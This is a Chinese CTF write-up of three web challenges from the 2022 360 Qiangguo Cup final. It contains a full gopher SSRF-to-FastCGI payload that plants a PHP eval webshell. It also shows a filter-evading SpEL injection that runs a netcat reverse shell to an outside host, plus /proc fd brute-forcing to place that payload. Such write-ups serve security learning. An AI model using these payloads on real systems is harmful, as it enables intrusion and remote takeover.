2022 360强国杯决赛Web-writeup

发布时间 2023-06-12 18:58:38作者: 晨风晓曦

Web

ezxunrui

分析

1、下载附件开始审计 迅睿路由规则不过多介绍了,需要选手自行分析代码逻辑,这里只公布漏洞点。 控制器在如下位置。

image-20230612183438186

在API控制器中。 存在qrcode 操作用来生成二维码,会获取略缩图参数,如图。

image-20230612183503637

跟进一下

image-20230612183524574

发现存在curl的调用, 存在SSRF漏洞。

2、SSRF FastCGI RCE

题目环境是通过 FastCGI搭建的,并暴露9000端口,SSRF FastCGI 老生常谈了。

使用exp.py 生成gopher payload。

image-20230612183703225

payload 核心 是将一句话木马写入 uploadfile文件下。

发送payload

http://ip:port/index.php?
s=api&c=api&m=qrcode&text=123&thumb=gopher://127.0.0.1:9000/_%252501%252501H%252
5B7%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500
%252500%252501%252504H%2525B7%252501%2525DB%252500%252500%252511%25250BGATEWAY_I
NTERFACEFastCGI/1.0%25250E%252504REQUEST_METHODPOST%25250F%252517SCRIPT_FILENAME
/var/www/html/index.php%25250B%252517SCRIPT_NAME/var/www/html/index.php%25250C%2
52500QUERY_STRING%25250B%252517REQUEST_URI/var/www/html/index.php%25250D%252501D
OCUMENT_ROOT/%25250F%25250ESERVER_SOFTWAREphp/fcgiclient%25250B%252509REMOTE_ADD
R127.0.0.1%25250B%252504REMOTE_PORT9985%25250B%252509SERVER_ADDR127.0.0.1%25250B
%252502SERVER_PORT80%25250B%252509SERVER_NAMElocalhost%25250F%252508SERVER_PROTO
COLHTTP/1.1%25250C%252510CONTENT_TYPEapplication/text%25250E%252502CONTENT_LENGT
H93%252509%25251FPHP_VALUEauto_prepend_file%252520%25253D%252520php%25253A//inpu
t%25250F%252516PHP_ADMIN_VALUEallow_url_include%252520%25253D%252520On%252501%25
2504H%2525B7%252500%252500%252500%252500%252501%252505H%2525B7%252500%25255D%252
500%252500%25253C%25253Fphp%252520file_put_contents%252528%252522/var/www/html/u
ploadfile/index.php%252522%25252C%252522%25253C%25253Fphp%252520eval%252528%2525
5C%252524_POST%25255B1%25255D%252529%25253B%25253F%25253E%252522%252529%25253B%2
5253F%25253E%252520%252501%252505H%2525B7%252500%252500%252500%252500

接着访问/uploadfile/index.php获取flag。

image-20230612183957655

pop1

  1. 使用GET方式传入 name、age ,并拦截数据包。

image-20230612184158627

  1. 构造反序列化

image-20230612184213254

  1. 在传入pop参数,获取 flag 如下:

image-20230612184226311

芝士雪豹

首页:

image-20230612184251434

f12,根据图片 可以找到一个接口

image-20230612184303911

这图片接口存在任意文件读取

image-20230612184315355

过滤了flag和file协议

image-20230612184323981

可以使用netdoc协议列目录 找到jar包下载下来 得到源码

image-20230612184336253

image-20230612184352647

分析源码:

image-20230612184402487

主要是FileController 在/parse路由存在一个SpEL表达式,但是是从文件中读取表达式来执行,并且有 过滤

image-20230612184616274

首先路由是/parse但是url中又不允许出现parse,这个可以直接url编码访问该路由: /%70arse?path=

image-20230612184628096

然后SpEL表达式 绕过过滤RCE 反弹shell:

''.class.forName('jav'+'a.lang.R'+'untime').getDeclaredMethods()
[15].invoke(''.class.forName('jav'+'a.lan'+'g.Ru'+'ntime').getDeclaredMethods()
[7].invoke(null),'nc 1.2.3.4 12345 -e /bin/sh')

这里最大的问题是,spel表达式是从文件中取到的,但是我们并没有写文件的方法,如何把上述spel payload写进去?

这里利用上传原理,springboot底层依然使用tomcat,tomcat处理上传表单会生成临时文件(和PHP 一样),这里我直接进入docker给大家看一下:

image-20230612184707874

很明显 /tmp/tomcat.8080.7699636244416751710/work/Tomcat/localhost/ROOT/upload_d1496d8a_0 901_4b7c_b2e9_426dd461468f_00000046.tmp 这样的路径是我们拿不到的

其实我们可以通过proc拿到文件内容,而且在docker里因为jar包是直接运行的,一般都是1号进行,所 以我们直接读 /proc/1/fd/xx ,对xx做爆破即可 首先准备一个大文件上传,开始burp不停重放(这里不用担心是不是会干扰spel格式,因为代码写了只 会读取文件第一行然后做spel表达式执行)

image-20230612184743535然后去爆破一圈fd/xx

image-20230612184806954就能反弹shell了